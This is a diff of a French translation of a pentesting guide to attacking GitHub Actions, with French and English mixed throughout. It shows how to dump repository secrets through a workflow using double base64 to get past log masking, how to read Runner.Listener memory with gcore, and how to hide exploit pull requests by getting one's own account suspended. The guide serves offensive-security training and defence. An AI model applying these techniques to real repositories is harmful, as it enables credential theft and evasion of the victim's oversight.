on: [push, pull_request]
|
||||
|
||||
@@ -455,23 +456,27 @@ path: gha-hazmat
|
||||
|
||||
- run: ls tmp/checkout
|
||||
```
|
||||
### Accéder à AWS et GCP via OIDC
|
||||
### Accéder à AWS, Azure et GCP via OIDC
|
||||
|
||||
Consultez les pages suivantes :
|
||||
Check the following pages:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accès aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Accéder aux secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
Si vous injectez du contenu dans un script, il est intéressant de savoir comment vous pouvez accéder aux secrets :
|
||||
Si vous injectez du contenu dans un script, il est utile de savoir comment accéder aux secrets :
|
||||
|
||||
- Si le secret or token est défini comme une **variable d'environnement**, il est accessible directement via l'environnement en utilisant **`printenv`**.
|
||||
- Si le secret ou le token est défini dans une **variable d'environnement**, il peut être accédé directement via l'environnement en utilisant **`printenv`**.
|
||||
|
||||
<details>
|
||||
|
||||
@@ -529,11 +534,11 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
- ```bash
|
||||
cat /home/runner/work/_temp/*
|
||||
```
|
||||
- Pour une action JavaScript, les secrets sont transmis via des variables d'environnement
|
||||
- Pour les JavaScript actions, les secrets sont envoyés via des variables d'environnement
|
||||
- ```bash
|
||||
ps axe | grep node
|
||||
```
|
||||
- Pour une **custom action**, le risque peut varier selon la manière dont un programme utilise le secret qu'il a obtenu depuis l'**argument** :
|
||||
- Pour une **custom action**, le risque peut varier selon la façon dont un programme utilise le secret obtenu depuis l'**argument** :
|
||||
|
||||
```yaml
|
||||
uses: fakeaction/publish@v3
|
||||
@@ -541,7 +546,7 @@ with:
|
||||
key: ${{ secrets.PUBLISH_KEY }}
|
||||
```
|
||||
|
||||
- Énumérer tous les secrets via le secrets context (niveau collaborator). Un contributeur avec accès en écriture peut modifier un workflow sur n'importe quelle branche pour dumper tous les secrets du repository/org/environment. Utilisez un double base64 pour échapper au masquage des logs de GitHub et décodez localement :
|
||||
- Énumérer tous les secrets via le secrets context (niveau collaborateur). Un contributeur avec accès en écriture peut modifier un workflow sur n'importe quelle branche pour vidanger tous les repository/org/environment secrets. Utilisez double base64 pour contourner le masquage des logs de GitHub et décoder localement :
|
||||
|
||||
```yaml
|
||||
name: Steal secrets
|
||||
@@ -563,29 +568,29 @@ Décoder localement :
|
||||
echo "ZXdv...Zz09" | base64 -d | base64 -d
|
||||
```
|
||||
|
||||
Astuce : pour rester discret pendant les tests, cryptez avant d'afficher (openssl est préinstallé sur les GitHub-hosted runners).
|
||||
Astuce : pour la discrétion pendant les tests, chiffrer avant d'afficher (openssl est préinstallé sur GitHub-hosted runners).
|
||||
|
||||
### Abusing Self-hosted runners
|
||||
### Abuser des Self-hosted runners
|
||||
|
||||
La manière de trouver quelles **Github Actions sont exécutées dans une infrastructure non-github** est de rechercher **`runs-on: self-hosted`** dans le YAML de configuration de la Github Action.
|
||||
La façon de trouver quelles **Github Actions are being executed in non-github infrastructure** est de rechercher **`runs-on: self-hosted`** dans le yaml de configuration de l'action GitHub.
|
||||
|
||||
**Self-hosted** runners pourraient avoir accès à des **informations supplémentaires sensibles**, à d'autres **systèmes réseau** (endpoints vulnérables dans le réseau ? metadata service ?) ou, même s'il est isolé et détruit, **plus d'une action pourrait s'exécuter en même temps** et celle malveillante pourrait **voler les secrets** de l'autre.
|
||||
**Self-hosted** runners peuvent avoir accès à des **informations sensibles supplémentaires**, à d'autres **systèmes réseau** (endpoints vulnérables dans le réseau ? metadata service ?) ou, même s'ils sont isolés et détruits, **plus d'une action peut être exécutée en même temps** et l'action malveillante pourrait **voler les secrets** de l'autre.
|
||||
|
||||
Dans les self-hosted runners il est aussi possible d'obtenir les **secrets from the \_Runner.Listener\_\*\* process\*\*** qui contiendra tous les secrets des workflows à n'importe quelle étape en vidant sa mémoire :
|
||||
Dans les self-hosted runners il est aussi possible d'obtenir les **secrets from the \_Runner.Listener**\_\*\* process\*\* which will contain all the secrets of the workflows at any step by dumping its memory:
|
||||
```bash
|
||||
sudo apt-get install -y gdb
|
||||
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
|
||||
```
|
||||
Consultez [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
|
||||
|
||||
### Registre d'images Docker Github
|
||||
### Github Registre d'images Docker
|
||||
|
||||
Il est possible de créer des Github Actions qui vont **build and store a Docker image inside Github**.\
|
||||
Un exemple se trouve dans l'élément dépliable suivant :
|
||||
Il est possible de créer des Github actions qui vont **build and store a Docker image inside Github**.\
|
||||
Un exemple se trouve dans l'élément déroulant suivant :
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Github Action Build & Push Docker Image</summary>
|
||||
<summary>Github Action — Build & Push d'une image Docker</summary>
|
||||
```yaml
|
||||
[...]
|
||||
|
||||
@@ -616,14 +621,14 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
|
||||
```
|
||||
</details>
|
||||
|
||||
Comme vous pouvez le voir dans le code précédent, le Github registry est hébergé en **`ghcr.io`**.
|
||||
Comme vous avez pu le voir dans le code précédent, le registre Github est hébergé sur **`ghcr.io`**.
|
||||
|
||||
Un utilisateur avec read permissions sur le repo pourra alors télécharger le Docker Image en utilisant un personal access token :
|
||||
Un utilisateur disposant de permissions de lecture sur le repo pourra alors télécharger l'image Docker en utilisant un personal access token:
|
||||
```bash
|
||||
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
|
||||
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
|
||||
```
|
||||
Then, the user could search for **leaked secrets in the Docker image layers:**
|
||||
Ensuite, l'utilisateur pourrait rechercher **leaked secrets in the Docker image layers:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
|
||||
@@ -631,16 +636,16 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens
|
||||
|
||||
### Informations sensibles dans les logs de Github Actions
|
||||
|
||||
Même si **Github** essaie de **détecter des valeurs secrètes** dans les logs des actions et **éviter de les afficher**, **d'autres données sensibles** qui pourraient avoir été générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il ne soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
Même si **Github** tente de **détecter les valeurs secrètes** dans les logs des actions et d'**éviter de les afficher**, d'**autres données sensibles** pouvant avoir été générées lors de l'exécution de l'action ne seront pas masquées. Par exemple, un JWT signé avec une valeur secrète ne sera pas masqué à moins qu'il soit [spécifiquement configuré](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
|
||||
|
||||
## Cacher vos traces
|
||||
## Masquer vos traces
|
||||
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR créée est clairement visible publiquement sur Github et par le compte GitHub ciblé. In GitHub by default, we **can’t delete a PR of the internet**, but there is a twist. For Github accounts that are **suspended** by Github, all of their **PRs are automatically deleted** and removed from the internet. So in order to hide your activity you need to either get your **GitHub account suspended or get your account flagged**. This would **hide all your activities** on GitHub from the internet (basically remove all your exploit PR)
|
||||
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Tout d'abord, toute PR ouverte est clairement visible par le public sur Github et par le compte GitHub ciblé. Sur GitHub, par défaut, nous **ne pouvons pas supprimer une PR de l'internet**, mais il y a une astuce. Pour les comptes Github qui sont **suspendus** par Github, toutes leurs **PRs sont automatiquement supprimées** et retirées de l'internet. Donc, pour masquer votre activité, vous devez soit faire suspendre votre **GitHub account** soit faire signaler votre compte. Cela **masquerait toutes vos activités** sur GitHub depuis l'internet (supprimant essentiellement toutes vos exploit PR)
|
||||
|
||||
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
|
||||
Une organisation sur GitHub est très proactive pour signaler des comptes à GitHub. Il vous suffit de partager “some stuff” dans un Issue et ils s'assureront que votre compte soit suspendu en 12 hours :p et voilà, votre exploit devient invisible sur github.
|
||||
|
||||
> [!WARNING]
|
||||
> Le seul moyen pour une organisation de se rendre compte qu'elle a été ciblée est de vérifier les logs GitHub depuis le SIEM car depuis l'UI GitHub la PR serait supprimée.
|
||||
> Le seul moyen pour une organisation de savoir qu'elle a été ciblée est de vérifier les GitHub logs depuis le SIEM, car depuis l'UI GitHub la PR serait supprimée.
|
||||
|
||||
## Références
|
||||
|
||||
|
||||
Reference in New Issue
Block a user